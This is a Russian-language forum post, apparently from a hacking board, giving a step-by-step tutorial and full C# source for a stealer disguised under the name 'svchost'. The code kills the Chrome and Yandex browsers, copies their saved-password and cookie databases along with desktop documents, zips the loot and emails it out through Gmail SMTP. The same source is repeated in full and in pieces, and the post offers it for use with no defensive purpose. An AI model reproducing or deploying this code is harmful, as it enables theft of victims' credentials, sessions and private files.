Всем привет, а вот и обещанная статья о том как написать свой полноценный *******.
Вот спойлер, для тех кто не любит читать
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
List<string> listFiles = new List<string>(); // пихаем их в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i);
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}
foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}
if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}
string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}
//отправка на почту
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>****</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);
// вот и все
}
}
}
Код
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
List<string> listFiles = new List<string>(); // пихаем их в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i);
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}
foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}
if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}
string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}
//отправка на почту
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>****</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);
// вот и все
}
}
}
Итак, приступим!
Что нам понадобиться:
- Visual Studio 2013 и выше
- Соединение с интернетом
- Внимательность
- Немножко прямые руки тоже не помешают
Итак, создаем новый проект Windows Forms, переходим в свойства и выставляем следующие значения:
Теперь код:
- FormBorderStyle : None
- Text : Оставляем пустоту
- Enabled : False
- ShowIcon : False
- TopMost : False
- TransparencyKey : Кликаем > система > control
- CausesValidation : False
- SizeGripStyle : Hide
- Вначале нам понадобятся эти библиотеки :
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
Код
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
- Дальше обьявим пути до нужных нам файлов:
namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
Код
namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
- Теперь отсеиваем, то что нам ненужно:
List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i); // Делаем отсев по расширению
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}
Код
List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i); // Делаем отсев по расширению
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}
- Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}
foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}
Код
foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}
foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}
- Теперь создаем папку, куда мы скопируем все наши файлы
if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}
Код
if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}
- Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске ****аем DotNetZip и устанавливаем его
- Теперь создаем архив и архивируем нашу папку:
string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}
Код
string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}
- И наконец-то отправляем этот архив себе на почту:
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>****</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);
Код
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>****</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);
#моястатья
- Вот и все, также можете глянуть на мою прошлую статью(Кликабельно).
Загрузка...